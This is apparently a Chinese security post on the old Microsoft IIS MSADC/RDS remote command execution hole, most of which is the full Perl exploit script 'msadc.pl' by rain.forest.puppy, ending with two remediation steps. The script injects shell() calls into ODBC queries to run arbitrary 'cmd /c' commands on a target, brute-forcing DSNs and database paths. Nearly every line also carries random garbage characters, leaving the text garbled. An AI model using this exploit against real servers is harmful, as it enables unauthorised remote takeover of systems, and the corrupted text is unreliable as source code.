IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
g{]C@,W k1EAmA
l 涉及程序：
&n5Lc` Microsoft NT server
d;Uzl 1; 9P pPAF 描述：
L `7~~ 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
3] *_*<D )v4?+$g 详细：
;k<n}shD 如果你没有时间读详细内容的话，就删除:
|VY+! c:\Program Files\Common Files\System\Msadc\msadcs.dll
3 19 &: 有关的安全问题就没有了。
01 UEd8 7DG{|%\HF 微软对关于Msadc的问题发了三次以上的补丁，仍然存在问题。
ka3(sctZ5 x{$~u2| 1、第一次补丁，基本上，其安全问题是MS Jet 3.5造成的，它允许调用VBA shell()函数，这将允许入侵者远程运行shell指令。
6NvdFss'A{ 关于利用ODBC远程漏洞的描述，请参看:
dHE\+{K%- > @Ux8 # http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm R4?OFhN9 3Pb]Of# 2、IIS 4.0的缺省安装设置的是MDAC1.5，这个安装下有一个/msadc/msadcs.dll的文件，也允许通过web远程访问ODBC，获取系统的控制权，这点在很多黑客论坛都讨论过，请参看
q.
%[!O http://www.microsoft.com/security/bulletins/MS99-025faq.asp W6b5elH@ Tug}P K 这里不再论述。
q- U/JC Z+z x*(X 3、如果web目录下的/msadc/msadcs.dll/可以访问，那么ms的任何补丁可能都没用，用类似:
q~3dbj GsYi/Z
/%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
9M$=X- 的请求，就可以绕过安全机制进行非法的VbBusObj请求，从而达到入侵的目的。 下面的代码仅供测试，严禁用于非法用途，否则后果自负!!!
E7XFt#P. F?+K~['i fgb%SIi? #将下面这段保存为txt文件，然后: "perl -x 文件名"
t-xw= &!w ~S\Ee 2e> #!perl
|j[=uS #
o GK 1D # MSADC/RDS 'usage' (aka exploit) script
}RGp)OFY& #
CC(At.dd # by rain.forest.puppy
i.0}d5Y #
F2;k 6M@ # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
)PM&x # beta test and find errors!
+1 K9R \ Qx9lcO_ use Socket; use Getopt::Std;
;P` z
?>J: getopts("e:vd:h:XR", \%args);
1 LgzqRq jIZpv|t) print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
vm3 B>ACJ Q%.V\8#|V if (!defined $args{h} && !defined $args{R}) {
|@J:A! print qq~
``~7z;E%@ Usage: msadc.pl -h <host> { -d <delay> -X -v }
-y8?"WB(b -h <host> = host you want to scan (ip or domain)
G~oGBq6Gz -d <seconds> = delay between calls, default 1 second
wnf'-dw] -X = dump Index Server path table, if available
Gw"H#9J}
T -v = verbose
QE l:>HG -e = external dictionary file for step 5
1-@[th {Z>OAR# Or a -R will resume a command session
`@8QQB mL!)(Bb ~; exit;}
!N6/l5 kn VEolyPcsg& $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
k<mfBNvuo if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
PD @]2lY( if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
k79" xyXX if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
<&n\)R4C1 $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
P4{8pO]B if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
, _K /e ;\N{z6 if (!defined $args{R}){ $ret = &has_msadc;
Y lI/~J die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
7$ vs X SxC print "Please type the NT commandline you want to run (cmd /c assumed):\n"
3 "ALohlL . "cmd /c ";
S#IlWU $in=<STDIN>; chomp $in;
_f9X Y $command="cmd /c " . $in ;
q po3b7(N W^}fAcQKH if (defined $args{R}) {&load; exit;}
OK{_WTCe> ^Ge3"^x1 print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
=(ULfz[: &try_btcustmr;
< cQ)*~hN V%F^6ds$]0 print "\nStep 2: Trying to make our own DSN...";
M2U F3xD &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
\>Y2I 4x< 0Pi D<*EA print "\nStep 3: Trying known DSNs...";
L : hEt &known_dsn;
~x:\xQti fi5x0El
print "\nStep 4: Trying known .mdbs...";
[If%+mHdU &known_mdb;
Z`L-UQJ . 5)g6yV' if (defined $args{e}){
H_*;7/& print "\nStep 5: Trying dictionary of DSN names...";
[,A*nU$ &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
#bxU I{*J vbH?[ Zr ? print "Sorry Charley...maybe next time?\n";
!q:[$g-@q exit;
(9!$p|d* $a^YJY^_ ##############################################################################
MHh>~Y(h W4
v/,g> sub sendraw { # ripped and modded from whisker
=o g5Mh, sleep($delay); # it's a DoS on the server! At least on mine...
Ne{2fV>8Ay my ($pstr)=@_;
~s#vP<QHa socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
:bJT2o[ die("Socket problems\n");
%Vf3r9
z if(connect(S,pack "SnA4x8",2,80,$target)){
Q8] lz} select(S); $|=1;
yV;_ ]_EO print $pstr; my @in=<S>;
mmE!!J`B select(STDOUT); close(S);
a: C h"la return @in;
VB*`"4e@b< } else { die("Can't connect...\n"); }}
5u(,g1s}UZ 3em&7QM ##############################################################################
0K+a/G@
n\ 0)@7$Xhf sub make_header { # make the HTTP request
1y\ -Iz^ my $msadc=<<EOT
H0!W:cIS;l POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1
[^o TC; User-Agent: ACTIVEDATA
x4b.^5"`: Host: $ip
J.nJ@?O+ Content-Length: $clen
6V[ ce4a% Connection: Keep-Alive
0?x9.] kU*Fif ADCClientVersion:01.06
5somoV B Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3
:Nr y | {jnfe}] --!ADM!ROX!YOUR!WORLD!
Qn=#KS8=J Content-Type: application/x-varg
E=G"_
^hCE Content-Length: $reqlen
&bh% >[ i3bDU(GS EOT
#3f S_;G ; $msadc=~s/\n/\r\n/g;
0a1Vj56{) return $msadc;}
; M)l7f 9 E@}@ZV( ##############################################################################
aPR0DZ@ ';HNQe?vT
sub make_req { # make the RDS request
AeQIsrAHE my ($switch, $p1, $p2)=@_;
o@o0V my $req=""; my $t1, $t2, $query, $dsn;
hxt,%al p\>im +0oh if ($switch==1){ # this is the btcustmr.mdb query
pwu8LQ3b{O $query="Select * from Customers where City=" . make_shell();
erhxZ|."P $dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" .
>~+'V.CNW $p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";}
g8+Ke'=_ >q+q];=( elsif ($switch==2){ # this is general make table query
k &<cFZU $query="create table AZZ (B int, C varchar(10))";
TbK;_pg $dsn="$p1";}
A2C|YmHk ZUkrJ' elsif ($switch==3){ # this is general exploit table query
>v r! 3 $query="select * from AZZ where C=" . make_shell();
F9N/_H*+ $dsn="$p1";}
4 `KQ@m I;=H XL elsif ($switch==4){ # attempt to hork file info from index server
-Hx._I$l $query="select path from scope()";
Kuj*U'ed7t $dsn="Provider=MSIDXS;";}
qG Ab h :o2^?k8k&# elsif ($switch==5){ # bad query
wZAY0@pA $query="select";
2D?V0>/ $dsn="$p1";}
*8WcRx S yf0dp3 $t1= make_unicode($query);
(Lp$EC&%6 $t2= make_unicode($dsn);
$ts%SD M $req = "\x02\x00\x03\x00";
U\<8}+x $req.= "\x08\x00" . pack ("S1", length($t1));
PkqOBU*|= $req.= "\x00\x00" . $t1 ;
b* AL,n? $req.= "\x08\x00" . pack ("S1", length($t2));
r+#! ]wNPe $req.= "\x00\x00" . $t2 ;
6+Y^A})(F- $req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n";
S4'\=w # return $req;}
{j0c)SETN CO)BF%?B ##############################################################################
$L@os2 {H\(H _X sub make_shell { # this makes the shell() statement
u lqh}Uv' return "'|shell(\"$command\")|'";}
Msk^H7 {I]X-+D|_ ##############################################################################
96 ozt UK PX5K-|R sub make_unicode { # quick little function to convert to unicode
n )~9 my ($in)=@_; my $out;
8/tvS8I#y for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; }
EYLqg`2A return $out;}
<<ze84 E > f ! ##############################################################################
cTq}H_hC "b#L8kN sub rdo_success { # checks for RDO return success (this is kludge)
@@])B # my (@in) = @_; my $base=content_start(@in);
DGQGV[9%4C if($in[$base]=~/multipart\/mixed/){
2$Fy?08q return 1 if( $in[$base+10]=~/^\x09\x00/ );}
u> YC4& return 0;}
2G (RQ\Ro* ,g"[7Za ##############################################################################
+O2z&a;q *k (|r> sub make_dsn { # this makes a DSN for us
8}Qmhm`_j= my @drives=("c","d","e","f");
A- 8[8J print "\nMaking DSN: ";
7Zf
* T foreach $drive (@drives) {
AJ:(N V1= print "$drive: ";
&' 0|U{| my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" .
NJe^5> 4` "Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq="
#y?iUv . $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n");
-=+@/@n V $results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#;
BnB]]<gO" return 0 if $2 eq "404"; # not found/doesn't exist
7F Tf8 if($2 eq "200") {
#cZ<[K q6 foreach $line (@results) {
K).Gj2 $ return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}}
Oh|KbM*vS } return 0;}
L XGlG p 1O[ QQ| ##############################################################################
LRuB&4r8 q#mw#Uw- sub verify_exists {
^O9_dP: my ($page)=@_;
kt0ma/QpP my @results=sendraw("GET $page HTTP/1.0\n\n");
`E4+#_ v return $results[0];}
Ha}TdQ% d7*fP S ##############################################################################
A:?|\r _UqE
-+& sub try_btcustmr {
#7Pnw.s3zz my @drives=("c","d","e","f");
m"r=p my @dirs=("winnt","winnt35","winnt351","win","windows");
y>5??q Jw
b'5[R foreach $dir (@dirs) {
BSMM3jXb print "$dir -> "; # fun status so you can see progress
L2L=~/LG
foreach $drive (@drives) {
"s!|8F6$ print "$drive: "; # ditto
TrEo5H ; $reqlen=length( make_req(1,$drive,$dir) ) - 28;
h3<L,Olp $reqlenlen=length( "$reqlen" );
9c}mAg4 $clen= 206 + $reqlenlen + $reqlen;
XuY#EJbZ >,&@j,?'] my @results=sendraw(make_header() . make_req(1,$drive,$dir));
n;F/}:c_a if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;}
|BC/ERm s else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}}
d<@SRHP( G%RL 8HU ##############################################################################
z
:q9~ ZITic&>W sub odbc_error {
&6#>a"?" my (@in)=@_; my $base;
c=5 2*& my $base = content_start(@in);
)qL UHE= if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this
s [}4Q|s% $in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
y-/,,,r $in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
wt(Hk6/ B $in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
uDWxIP,m return $in[$base+4].$in[$base+5].$in[$base+6];}
B}&9+2 M print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n";
kW!`vQm~ print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] .
n$03 ##pf $in[$base+4] . $in[$base+5] . $in[$base+6]; exit;}
_Z>I"m : CR1Oy 9 ##############################################################################
m,"N 4a@ |RA|nu
sub verbose {
I/HcIBJ my ($in)=@_;
!gKz=-C return if !$verbose;
%!vgAH4 print STDOUT "\n$in\n";}
UgBD| ~zu .GM}3(1fX` ##############################################################################
$ OAak nz}} m^-j sub save {
?cH,!2 my ($p1, $p2, $p3, $p4)=@_;
E;>Bc Pt5 open(OUT, ">rds.save") || print "Problem saving parameters...\n";
jO9w7u6 print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n";
~*-%tFSv close OUT;}
-< jd/ 5 n-5@<y^ ##############################################################################
yW!+:y_N_ Z6F^p8O- sub load {
1yg 5d9 my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq=";
r@.3.Q open(IN,"<rds.save") || die("Couldn't open rds.save\n");
j0eGg:: @p=<IN>; close(IN);
O*:8gu'Y2 $ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/);
:-.K.Ch|: $target= inet_aton($ip) || die("inet_aton problems");
c'LDH h7b print "Resuming to $ip ...";
EK
JPe eRY $p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g;
DClV&\i=o if($p[1]==1) {
>, #7 3u# $reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28;
]\8{z" $reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen;
jxt^d my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]"));
G.}Ex!8R7_ if (rdo_success(@results)){print "Success!\n";}
q U/ ,&C else { print "failed\n"; verbose(odbc_error(@results));}}
u{/!BCKE elsif ($p[1]==3){
hny):59f if(run_query("$p[3]")){
UhX`BGpM{ print "Success!\n";} else { print "failed\n"; }}
yU"'h[^ elsif ($p[1]==4){
%L^S;v3 if(run_query($drvst . "$p[3]")){
K ioD/
print "Success!\n"; } else { print "failed\n"; }}
-54 exit;}
d:x=g i! q%/ciPgE ##############################################################################
6Ee UiLd jgb>:]: sub create_table {
9kk YD my ($in)=@_;
:<`hsKy& $reqlen=length( make_req(2,$in,"") ) - 28;
'x-PQQ $reqlenlen=length( "$reqlen" );
B_B~Y8=3` $clen= 206 + $reqlenlen + $reqlen;
@+S5"W my @results=sendraw(make_header() . make_req(2,$in,""));
_DAAD,'<a return 1 if rdo_success(@results);
kp+\3z _ my $temp= odbc_error(@results); verbose($temp);
Q>FuNdUk return 1 if $temp=~/Table 'AZZ' already exists/;
4eOQP return 0;}
'$cU\DTN6 ON$^_l/c ##############################################################################
^<@9ph p:,(r{*? sub known_dsn {
9 J$z/j;X # we want 'wicca' first, because if step 2 made the DSN, it's ready to go
U73{Uv my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications",
y?|JB f "cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM",
$X %w9l e "banner", "banners", "ads", "ADCDemo", "ADCTest");
k($N_XlE Ve4!MM@ti foreach $dSn (@dsns) {
'WUevPmt print ".";
d45JT?qg& next if (!is_access("DSN=$dSn"));
_~M*XJ] ` if(create_table("DSN=$dSn")){
Tv;|K's' print "$dSn successful\n";
YdI|xu>0A^ if(run_query("DSN=$dSn")){
[-@Lbu-| print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
vM}oxhQ$n print "Something's borked. Use verbose next time\n";}}} print "\n";}
kCRP?sj >^@/Ba$h ##############################################################################
+G3&{#D
? ( _ZOUMe sub is_access {
+fd^$Qd%K my ($in)=@_;
T(< C8 $reqlen=length( make_req(5,$in,"") ) - 28;
;[-dth $reqlenlen=length( "$reqlen" );
#:v e3gWl $clen= 206 + $reqlenlen + $reqlen;
/\-qz$ my @results=sendraw(make_header() . make_req(5,$in,""));
v ZM.gn my $temp= odbc_error(@results);
:N~1fvx verbose($temp); return 1 if ($temp=~/Microsoft Access/);
,y[wS5li return 0;}
9L}=xX`>? 21$YZlhJ ##############################################################################
1/ Pou)D `e
t0i. sub run_query {
g4 WN+y` my ($in)=@_;
z?HP%g'M~ $reqlen=length( make_req(3,$in,"") ) - 28;
Z- RgN $reqlenlen=length( "$reqlen" );
\N\Jny $clen= 206 + $reqlenlen + $reqlen;
We#u-#k_O my @results=sendraw(make_header() . make_req(3,$in,""));
D7b<&D@ return 1 if rdo_success(@results);
uL^ Qtmm>M my $temp= odbc_error(@results); verbose($temp);
Kr !(<i return 0;}
QvK-3w;= \gRX:i#n ##############################################################################
I| qoH N,g qALlMj--m sub known_mdb {
!HM|~G7 my @drives=("c","d","e","f","g");
-MV </ my @dirs=("winnt","winnt35","winnt351","win","windows");
vu[+UF\G my $dir, $drive, $mdb;
#`5{?2gS9 my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq=";
}qlU f%0^89 ) # this is sparse, because I don't know of many
Gn+D%5)$I my @sysmdbs=( "\\catroot\\icatalog.mdb",
@Iz vObK "\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb",
TC1#2nE&T "\\system32\\certmdb.mdb",
CU gXpU* "\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot%
^w.x~#zI O1pBr=+j+{ my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb",
utxT$1iJn~ "\\cfusion\\cfapps\\forums\\forums_.mdb",
zhbp"yju7 "\\cfusion\\cfapps\\forums\\data\\forums.mdb",
$\l7aA 5~ "\\cfusion\\cfapps\\security\\realm_.mdb",
s5T$>+
a "\\cfusion\\cfapps\\security\\data\\realm.mdb",
HDU tLU d "\\cfusion\\database\\cfexamples.mdb",
`Q V}je "\\cfusion\\database\\cfsnippets.mdb",
6CBk,2DswI "\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb",
o0b}: ` "\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb",
$ Scb8< "\\cfusion\\brighttiger\\database\\cleam.mdb",
$ :kG>R@\t "\\cfusion\\database\\smpolicy.mdb",
{x e$ "\\cfusion\\database\cypress.mdb",
h4 x*C=?A "\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb",
/T`L;YE "\\website\\cgi-win\\dbsample.mdb",
<>`+" O} "\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb",
Tx%6whd/' "\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb"
_4iTP$7[ ); #these are just
gNJ,Bj Pd foreach $drive (@drives) {
ru,]!YPJE2 foreach $dir (@dirs){
euO!+ 9p foreach $mdb (@sysmdbs) {
/gZrnd? print ".";
a<l(zJptG if(create_table($drv . $drive . ":\\" . $dir . $mdb)){
7Wb:^.d
g print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n";
Kl<qp7o0 if(run_query($drv . $drive . ":\\" . $dir . $mdb)){
Z,/ BPK<e print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit;
Xxcv 5.ug } else { print "Something's borked. Use verbose next time\n"; }}}}}
,@ A1eX} ^& ZlV foreach $drive (@drives) {
=s`\W7/;{- foreach $mdb (@mdbs) {
K 0RY2Hiw print ".";
jPg 8>Z&D if(create_table($drv . $drive . $dir . $mdb)){
Ql sMMIax print "\n" . $drive . $dir . $mdb . " successful\n";
es@_6ol .@ if(run_query($drv . $drive . $dir . $mdb)){
cUssF%ud] print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit;
]Y Q[ ) } else { print "Something's borked. Use verbose next time\n"; }}}}
I#QBJ# }
<@xp. Y O1I R+"0 ##############################################################################
vt}+d
StUm
=,&PD(. sub hork_idx {
J<Di2b+ print "\nAttempting to dump Index Server tables...\n";
$},Y)" mI print " NOTE: Sometimes this takes a while, other times it stalls\n\n";
N%!8 I $reqlen=length( make_req(4,"","") ) - 28;
YlD ui8.N $reqlenlen=length( "$reqlen" );
)K.~A&y@ $clen= 206 + $reqlenlen + $reqlen;
[<P( S~J my @results=sendraw2(make_header() . make_req(4,"",""));
62K 7afH if (rdo_success(@results)){
\G }EI|Wo my $max=@results; my $c; my %d;
8<ZxE(v for($c=19; $c<$max; $c++){
9X&Xc $results[$c]=~s/\x00//g;
"']I. $results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g;
w1B!z $results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g;
,R/HT@ $results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/;
ScU?T<u:i $d{"$1$2"}="";}
VAf"B5 R foreach $c (keys %d){ print "$c\n"; }
, 2T&33m
} else {print "Index server doesn't seem to be installed.\n"; }}
GlYNC&,VL @~% R%Vu ##############################################################################
HbQ `b Pn|A>.)z sub dsn_dict {
j:K>3?
open(IN, "<$args{e}") || die("Can't open external dictionary\n");
Xh"JyDTj3 while(<IN>){
wJM} )O%SQ $hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print ".";
Cm g(# $ X next if (!is_access("DSN=$dSn"));
~pA_E!3W if(create_table("DSN=$dSn")){
8P5yaS_ print "$dSn successful\n";
x`K<z
J if(run_query("DSN=$dSn")){
;Ak<O [ print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
\U $'3M print "Something's borked. Use verbose next time\n";}}}
{]1o( $.u print "\n"; close(IN);}
Jm&7&si7 +-YMW;5 ##############################################################################
ek !x:G$' 9qS~-'&q# sub sendraw2 { # ripped and modded from whisker
P6'Oe|+' sleep($delay); # it's a DoS on the server! At least on mine...
"L^] a$& my ($pstr)=@_;
0 dxEV] socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
F#_JcEE die("Socket problems\n");
rOd<nP^`\ if(connect(S,pack "SnA4x8",2,80,$target)){
$sK8l=# print "Connected. Getting data";
3D
L7 open(OUT,">raw.out"); my @in;
%+gYZ v- select(S); $|=1; print $pstr;
_/Ky;p. while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";}
I3`WY-uv close(OUT); select(STDOUT); close(S); return @in;
E~ vM$$O$ } else { die("Can't connect...\n"); }}
("0 7t/|| J' c]':U ##############################################################################
ZDEz&{3U; | #9Nu9ak sub content_start { # this will take in the server headers
4po zTe my (@in)=@_; my $c;
{I'8+~|pZL for ($c=1;$c<500;$c++) {
..BIoSrj if($in[$c] =~/^\x0d\x0a/){
~I[Z 2&I if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; }
hG~4i:p
< else { return $c+1; }}}
pu#h:nb>88 return -1;} # it should never get here actually
o2 M+=O@ vN#?>aL ##############################################################################
k4:$LFw@ ~q]@Jp sub funky {
52Sq;X my (@in)=@_; my $error=odbc_error(@in);
FYPv:k if($error=~/ADO could not find the specified provider/){
XY %er print "\nServer returned an ADO miscofiguration message\nAborting.\n";
SFhi]48&V exit;}
32h}+fd if($error=~/A Handler is required/){
SOE 5` print "\nServer has custom handler filters (they most likely are patched)\n";
b(^/WCykH exit;}
C \"nlNKw if($error=~/specified Handler has denied Access/){
7A:k print "\nServer has custom handler filters (they most likely are patched)\n";
0u[Vd:()v( exit;}}
g7\MFertR^ JX4uH>6 ##############################################################################
{A!1s; 5cahbx1"
sub has_msadc {
f</'=k my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n");
y04md A6< my $base=content_start(@results);
u|]{|Ya'% return 1 if($results[$base]=~/Content-Type: application\/x-varg/);
B=dF\.&Z return 0;}
`)5,!QPQ7u Cj{+DXT ########################
O3ij/8f ,Dh+-} K]c|v
i_D 解决方案：
`FS)i7-o6 1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll
e !V3 /*F 2、移除web 目录: /msadc
